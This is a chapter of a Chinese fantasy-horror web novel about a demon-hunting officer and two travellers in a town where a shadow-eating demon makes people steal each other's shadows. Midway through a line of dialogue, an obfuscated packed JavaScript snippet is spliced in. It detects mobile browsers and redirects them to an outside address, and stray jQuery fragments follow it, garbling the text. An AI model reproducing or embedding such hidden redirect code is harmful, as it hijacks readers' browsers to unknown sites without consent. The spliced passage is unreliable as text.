随后，一柄长枪破空而至。萧悯身形一闪，顺手将小女孩拨开。枪尖擦着他指尖掠过，精准地钉中那颗糖，将它连同金色糖纸贯穿，深深钉入脚下青石板。枪身嗡嗡震颤。


    长街尽头，一个女子逆着人流大步走来。


    来人穿一身玄青色窄袖劲装，腰束宽皮带。


    走近了，萧悯看清了她左臂上缠着的那条暗金色臂甲，甲上刻着一枚徽记。


    一只衔环的玄鸟，双翅张开，双目如炬。


    贺知岚走到那柄钉在地上的长枪前，单手握住枪杆，手腕轻旋，枪尖从青石板中拔出，顺势插回背后。


    萧悯的眸光微动。


    玄鸟衔环。


    这是钦天监抚镇司的标记。隶属大胤朝廷，受国师辖制，专司驱邪缉魔、镇压妖异之事。府中之人皆为灵修出身，奉朝廷敕令行走天下，遇鬼杀鬼，遇邪诛邪。


    来人二十五六岁，眉眼生得极利落，高眉骨、长眼尾，自有一股英气。只是眼下乌青很重，颧骨略显瘦削，像是很久没有好好睡过一觉了。


    她走到近前，目光先落在萧悯的手上，确认指尖干净，微微松了口气。


    “幸好没沾上。”她声音仍紧，语气略缓了几分。


    小女孩见糖没有送出去，转身就跑了。


    来人见小女孩跑远，轻探口气转过身，目光依次扫过萧悯和离朱，利落抱拳。


    “贺知岚，钦天监抚镇司巡狩使。”


    语气简短利落，没有半分寒暄的意思，但也不算冷，更像是一个已经疲惫到了极点的人，懒得再绕弯子。


    萧悯拱手回礼，不卑不亢，“萧悯，朔州人。途经此地，误入镇中。”


    他没有多报来历，一个“朔州人”，无官无职无门派，干干净净。


    贺知岚点了点头，目光又落在离朱身上，在她那一身红裙上停了一瞬。


    离朱笑了笑，却没有报名号的意思。


    贺知岚也没有追问。她不是江湖人，对“初次见面必须通姓名”那套规矩不大在意。况且眼下有比姓名更要紧的事。


    “你们不是这镇里的人，“贺知岚说，“怎么进来的？”


    “路上起了雾，被一支送亲的队伍裹进来的。”离朱轻描淡写。


    贺知岚的眉头拧了拧，“送亲队伍……又来了一支。”


    萧悯捕捉到了那个“又”字。


    “贺巡狩，”他问，“你来这里多久了？”


    贺知岚看了一眼四周。街上的人群依旧热热闹闹，花车锣鼓不歇。一个卖糖葫芦的老汉从她身旁挤过去，笑呵呵地举着草靶子吆喝，袖口滑上去，露出小臂，影子里那截小臂是缺的。贺知岚的目光在那截空荡荡的影子上顿了一瞬，然后移开了。像是看过太多次了。


    “两个月。”贺知岚说。


    离朱微讶，“两个月？”


    萧悯道，“贺巡狩为何来此？”


    贺知岚沉默片刻，脸上露出落寞之色。


    “半年前，朔州以南接连有民村消失。”她的声音压了下来，语速不快，条理清晰，“没遭灾，没逃荒，整村整村地凭空不见了。屋舍还在，牲口还在，灶上的饭都没来得及盛出来，人，一个不剩。”


    “抚镇司接了线报，派我来查。我追着残留的妖气进了雾，然后就到了这里。”


    贺知岚顿了顿，目光变得更沉。


    “进来之后才明白，这些村民没有死。全被困在这座镇子里。”


    “困住他们的，是一只吃影子的大妖。”


    离朱的眼神凝了一凝，“吃影子？”


    “对。“贺知岚说，“这妖物以人的影子为食。但它有一桩短处，吃不下一整条完整的影子，一次只能吃碎片。”


    她说到此处，抿了抿唇，无奈地笑了笑。


    “所以它不急着把人杀了。它造了这座镇子，布下幻境，把村民圈在里面，就像牧人圈羊。然后，它给了每个被困的人一样东西。”


    “血针。”离朱接口道。


    贺知岚看了她一眼。


    离朱道：“我在南边见过。一个老妇人拿血红色的针，从墙的影子上撕下碎片，缝到自己影子的断腿处。缝完之后，断掉的腿就好了。”


    贺知岚点头，语气更冷了几分：“墙的影子、树的影子、死物的影子，勉强能补上一时，可那终究不是活人的东西，时间一长便会溃散，还得再补。要想真正补牢，只有一个办法，用血针从活人身上撕。影子完整了，身体就完整。被撕的那个人，影子缺一条腿，腿就废；缺一只手，手就断。”


    贺知岚顿了顿，声音又沉了几分。


    “所以大妖根本不必自己动手。它只需要坐在暗处等着。这些人为了保全自己的身体，会拼了命去抢别人的影子。你补你的腿，我抢我的手；今天你从我身上撕走一条胳膊的影子，明天我再从别人那里缝回来。撕了补、补了撕，永远补不齐。”


    离朱道，“这是大妖的饵。”


    贺知岚再次点头，声音里浮上一丝几不可闻的哽涩，“碎片源源不断，大妖就永远不缺食。这座镇子就是大妖的牧场。”


    离朱忽然问，“买卖影子的''钱''是什么？怎样才算一桩交易达成？”


    “不是钱。是物件。”贺知岚说，“任何物件。一颗糖、一碗馄饨、一块布头、一粒沙，只要这个物件曾经被卖家碰过、用过、沾过卖家的皮肤，它就能充当交易的凭证。”


    “买家只需让这物件碰到自己的皮肤，哪怕只是指尖一触，交易立刻成立。买家就有权从卖家身上撕走一块影子。”


    萧悯的目光沉了下来。


    贺知岚继续道，“所以在这镇子里，别人递给你的任何东西都不能碰。糖、茶、手帕、碗筷，凡是别人用过的，沾了你的皮肤，就是签了契。不可违，不可逆。”


    萧悯没有接话。他的目光越过贺知岚的肩头，落在不远处的街角，忽然道，“那个小女孩还在。”


    贺知岚和离朱同时转头。


    小女孩并没有跑远，而是躲在不远处的阴影了，注视着游行的队伍。


    她攥着另一颗糖，歪着脑袋，在人流里打量着什么。像一只耐心的小兽在挑选猎物。


    女孩跑出屋檐的阴翳，月光从缺口直直泻下来，白亮亮地兜住了小女孩的全身。她的影子在月光下清清楚楚地铺在青石板上，头、肩、躯干、左臂、双腿，都在。


    右臂的位置，空空荡荡，像被什么东西齐肩削去了。


    小女孩的影子没有右臂。


    小女孩看中了一个人。


    游行队伍中一个中年男人正大步流星地从花车旁走过。小女孩跑了两步追上他，从身后扯了扯他的衣角。


    男人低头，看见一个脏兮兮的小丫头仰着脸冲他笑，掌心里捧着一颗亮闪闪的糖。


    “给你糖吃糖。”


    男人笑了一下，伸手接过。


    他的指尖碰到了糖纸。


    就这么简单。


    小女孩的笑容没有变。她松开手，转身便走。男人浑然不觉，把那颗糖揣进袖兜里，继续往前走。


    贺知岚的手攥紧了枪杆。


    离朱说，“她要动手了，你是巡狩使，不阻止吗？”


    “拦不了。“贺知岚摇了摇头，声音压得极轻，“契已经成了。糖碰了手，影子就算卖出去了。你现在插手，等于单方面撕毁交易，大妖会连她带他一起吞掉，一个都活不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469002|201375||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。”


    说完，贺知岚低声呓语般道，“两个月了。我谁也拦不了。“


    三人只能看着。


    游行队列中驶来一辆花车，车头四角各挂一盏极亮的白纱走马灯，比寻常花灯亮出数倍。灯转起来时光柱如刀，将附近数丈照得亮如白昼。


    接了糖的男人从花车旁经过，白光兜头照下，他的影子浓黑清晰地钉在脚下，恰好落到小女孩身旁。


    小女孩蹲下身。


    两只手探入地面那片影子里，像是探入了一汪黑色的水。


    然后猛地一扯。


    一条右臂形状的影子被她从中撕了出来。


    剩下的影子像失去了最后一根支撑的梁，从中间开始坍塌。先是躯干的轮廓朝两侧歪斜，然后头、肩、双腿，依次散开，摊成一滩深浅不一的墨渍，在青石板上洇了片刻，便淡了，透了，像被地面吸干了似的，一点不剩。


    队伍中那个男人身体骤然僵住。从脚踝开始，皮肉一寸一寸地软下去、塌下去，像是骨头被什么东西从内里抽走了。衣物悬浮了一瞬坠落，裹着一摊浓稠的红。


    无声无息。周围的游行者依旧笑闹着往前走，无人回头。


    离朱的脸色变了，“女孩只撕了一条手臂的影子，人怎么会整个碎掉？”


    贺知岚没有立刻回答，目光落在那摊正在被人群脚步碾过的血渍上，过了一息才开口。


    “因为那条右臂，是他身上最后一块自己的影子了。”


    “不管补得再多，当自己的影子全部被扯走，人也会死。”


    小女孩把扯出来的胳膊往自己右肩上一贴。随后从怀里掏出那枚血红的细针，飞快地缝上去。针脚细密娴熟，缝完又用针尖勾勒了几下，将形状修整妥当。


    小女孩拍拍手，转身蹦蹦跳跳消失在人群里。


    她的手好了。


    贺知岚握枪的手骨节发白。她别过脸去，不忍再看，但只别了一瞬便又转了回来，像是不允许自己逃避。


    离朱的脸色难得凝重。


    萧悯没有说话。他的目光落在那摊正在被游行队伍的脚步踩过、碾过、渐渐模糊的血渍上。周围的人从上面走过，就像走过一摊不小心打翻的酒。


    良久，他说了一句，“有没有办法杀这只大妖？”


    贺知岚看着他。


    “我追了它两个月，“她的声音低下来，“没见过它的真身。我们必须要找到它的真身才能杀它。”


    三人一时都沉默了。


    街上的游行仍在继续。又一波花车驶过，车顶有人往下撒花瓣，红的黄的白的，纷纷扬扬地飘落。远处锣鼓换了一支新的曲子，有人在唱喜歌，调子拖得又长又高，像是要把快活唱进骨头里去。


    可站在花车阴影下的三个人，谁也快活不起来。


    离朱忽然觉得脸上痒了一下。


    极轻极细，像有什么东西落在了她的颧骨上。她抬手一摸，指尖触到一粒微小的颗粒。借着花车走马灯漫过来的光，她捻了捻，


    一颗金沙。


    细如尘粉，金光幽微，和她在井底看到的那些一模一样。


    花车走马灯的光从四面八方照过来，三个人脚下的影子被拉出长长短短好几道，叠在青石板上，明明灭灭。


    贺知岚的余光始终没离开过那些影子，这是这几个月里练就的本能。


    然后她看到了。


    离朱有一道影子正在发生一种极细微的变动。五根手指的末梢，小指的轮廓忽然开始诡异的向外衍生，像是再被谁拉拽。


    贺知岚的脸色刷地变白。


    “你的影子！”她指着离朱，声音猛地压低，带着颤，“你的影子被买卖了！”